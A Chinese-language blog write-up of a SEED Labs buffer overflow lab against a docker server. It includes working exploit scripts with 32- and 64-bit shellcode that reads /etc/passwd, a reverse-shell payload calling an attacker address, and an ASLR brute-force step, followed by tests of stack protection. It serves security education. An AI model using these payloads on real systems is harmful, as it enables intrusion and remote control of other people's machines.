Quiet
  • HOME
  • ARCHIVE
  • CATEGORIES
  • TAGS
  • LINKS
  • ABOUT

Ram

  • HOME
  • ARCHIVE
  • CATEGORIES
  • TAGS
  • LINKS
  • ABOUT
Quiet主题
  • 栈溢出
  • 软件安全

Buffer Overflow Attack Lab(Server Version)

Ram
SeedLabs2.0

2025-11-03 21:51:09

文章目录
  1. Buffer Overflow Attack Lab(Server Version)
    1. 环境
    2. Task 1: Get Familiar with the Shellcode
    3. Task 2: Level-1 Attack
    4. Task 3: Level-2 Attack
    5. Task 4: Level-3 Attack
    6. Task 5: Level-4 Attack
    7. Task 6: Experimenting with the Address Randomization
    8. Tasks 7: Experimenting with Other Countermeasures
      1. 栈保护
      2. 栈可执行
    9. 总结

Buffer Overflow Attack Lab(Server Version)

环境

修改server_code中的Makefile,设置L1为122。对应上课日期10.22

image-20251022101646517

在server-code编译代码。相当于服务器上执行了这些32位或者64位程序。但是作为一个攻击者,应该是不能获取这些信息的。

make
make install

image-20251022101936052

启动docker。(原来的Ubuntu24.04没有成功,后面换了seedlab预构建的虚拟机就可以了)

sudo docker-compose build
sudo docker-compose up

image-20251022192424957

关闭保护措施,方便后续的攻击。

image-20251022191616492

Task 1: Get Familiar with the Shellcode

里面有两个 Python 程序:shellcode_32.py 和 shellcode_64.py,分别用于 32 位和 64 位 Shellcode。这两个 Python 程序将把二进制 Shellcode 写入 codefile_32 和 codefile_64 中。然后,您可以使用 call_shellcode 来执行其中的 Shellcode。

32位的shellcode如图所示。

image-20251022201953789

可以通过call_shellcode来执行shellcode。

image-20251022200224434

Task 2: Level-1 Attack

向服务器发送测试信息。可以观察服务器返回的信息。同样可以通过这种方式发送我们的shellcode。

echo hello | nc 10.9.0.5 9090

image-20251022201212184

image-20251022201322719

可以看到ebp的值为 0xffffd528, buffer的地址起点为 0xffffd4ac。

首先观察exploit.py的payload结构,将buffer全部填冲为nop,start为shellcode的起点,ret是新的返回地址,offset是buffer地址距离返回地址的偏移。

所以offset=0xffffd528 - 0xffffd4ac + 4。

ret由于我们中间填充了nop,所以只要比之前的return address大,shellcode之前就行。之前的return address= 0xffffd528+4。 start在ret上或后面就行。

所以export.py代码如下

#!/usr/bin/python3
import sys

shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # The * in this line serves as the position marker         *
   "/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd     *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

content = bytearray(0x90 for i in range(517)) 
start = 250           
content[start:start + len(shellcode)] = shellcode
ret    = 0xffffd528 + 8  
offset = 0xffffd528 - 0xffffd4ac + 4        
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little') 

with open('badfile', 'wb') as f:
  f.write(content)

可以看见成功执行了我们的shellcode。

image-20251022203738897

当然也可以反弹shell。我们修改shellcode片段如下。

shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # The * in this line serves as the position marker         *
   "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1           *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

同时监听9090端口就可以查看反弹回来的shell。

image-20251022205015627

在后面的三个任务中,我都采用返回现实passwd的方法,来判断是否攻击成功。

Task 3: Level-2 Attack

发送一个Hello到任务二的服务器

image-20251022205252189

任务二的信息更少,只有Buffer的地址信息。另一个对您可能有用的事实是,由于内存对齐的原因, 在 32 位程序中帧指针的值总是 4 的倍数,在 64 位程序中则是 8 的倍数。然后告诉我缓冲区的大小是100到200。

只需要将buffer把缓冲区全部都覆盖为返回地址,再进行跳转即可。start大于前面的ret即可。但是start不能太大,不然shellcode写不下。

content = bytearray(0x90 for i in range(517)) 
start = 300            
content[start:start + len(shellcode)] = shellcode
ret    = 0xffffd468 + 248
# offset = 240
for offset in range(0, 240, 4):
   content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little') 

image-20251022210826424

Task 4: Level-3 Attack

image-20251022220512104

与 32 位机器上的缓冲区溢出攻击相比,64 位机器上的攻击更加困难。尽管x64 体系结构支持 64 位地址空间,但只允许从 0x00 到 0x00007fffffff 的地址。这意味着对于每个地址(8 字节),最高的两个字节总是零。这会引发问题。在缓冲区溢出攻击中,我们需要使用strcpy 将 content 复制到堆栈中。strcpy 函数在遇到 0 时会终止。因此,如果在 content 中间出现 0,则在 0 之后的内容都不能被复制到堆栈中。

在存储ret 值的时候, 使用的是小端方式:“0x00007fffffffdfd0”是以“\xd0\xdf\xff\xff\0xff\0x7f\0x00\0x00”的形式存储的, 而之前的ret address最后两位也是\0x00\0x00,所以可以服用之前的地址。而且要保证覆盖后的ret其他字节也没有\0x00。因为ret后面不能写入任何信息,所以需要把shellcode写在前面。

ret=0x00007fffffffe0f0

offset=0x00007fffffffe1c0 - 0x00007fffffffe0f0 + 8

start = 0

#!/usr/bin/python3
import sys

shellcode = (
   "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
   "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
   "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
   "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # The * in this line serves as the position marker         * 
   #"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1.          *"
   "/bin/ls -l; echo Hello 64; /bin/tail -n 4 /etc/passwd     *"
   "AAAAAAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBBBBBB"   # Placeholder for argv[1] --> "-c"
   "CCCCCCCC"   # Placeholder for argv[2] --> the command string
   "DDDDDDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

content = bytearray(0x90 for i in range(517)) 
start = 0        
content[start:start + len(shellcode)] = shellcode

ret=0x00007fffffffe0f0
offset=0x00007fffffffe1c0 - 0x00007fffffffe0f0 + 8
content[offset: offset + 8] = (ret).to_bytes(8, byteorder='little')

with open('badfile', 'wb') as f:
  f.write(content)

image-20251022223635528

Task 5: Level-4 Attack

image-20251022224220604

可见现在缓冲区小了很多,如果采用任务四的方法,则会因为无法输入完整shellcode无法成功。

把返回地址增加到ebp+1200就可以了。这里我也不知道为什么。我猜测是因为在main函数输入了buffer,然后在函数内strcpy的时候被截断了,然后就直接返回到main函数中,返回地址刚好命中shellcode,就在main函数中执行了我们的shellcode

课程补充

审计stack.c源代码

badfile是从main()出来的,bof()是攻击函数。

数据流:main() -> dummy_function(char *str) (中间填充了1000个字节) ->bof(char *str)

void dummy_function(char *str)
{
    char dummy_buffer[1000];
    memset(dummy_buffer, 0, 1000);
    bof(str);
}

所以这个返回地址就是返回到main()函数中,在main()执行我们的shellcode,因为中间有1000个字节的填充,所以可以估计这个返回地址大概会加1000多,多次尝试可以估计。

content = bytearray(0x90 for i in range(517)) 
start = 0        
content[517-len(shellcode): 517] = shellcode

ret= 0x00007fffffffe1c0 + 1200
offset=0x00007fffffffe1c0 - 0x00007fffffffe160 + 8
content[offset: offset + 8] = (ret).to_bytes(8, byteorder='little')

image-20251022232013088

Task 6: Experimenting with the Address Randomization

开启地址随机化。

image-20251022233916902

发送两个hello到服务器,可以看见每次地址都不一样。

image-20251022234030211

暴力求解。使用 Task2 中 reverse shell 的 exploit.py 代码,执行命令

./brute-force.sh

image-20251022235731441

运气很差。。。运行了接近13分钟才获取到了shell。

Tasks 7: Experimenting with Other Countermeasures

栈保护

编辑 Makefile ,去除 -fno-stack-protector 选项,重新编译生成可执行文件。

image-20251023000011883

重新编译后,将badfile输入到程序中。发现程序检测到了攻击。

image-20251023000203667

栈可执行

进入Makefile将-z execstack删除

image-20251023000451641

可以看见开启这个保护之后,之前的shellcode都无法执行。

image-20251023000830113

总结

通过这个实验了解了栈溢出攻击和栈相关的保护。本次栈溢出的利用方式主要是通过shellcode,即ret2shellcode,shellcode的编写也是很重要的一环,要比较熟悉汇编代码,本次实验虽然没有具体让我们自己设计,可以在未来继续学习。栈溢出的原理并不难,算是入门级别的二进制漏洞。

上一篇

Return-to-libc Attack Lab

下一篇

Shellshock Attack Lab

©2026 By Ram. 主题:Quiet
Quiet主题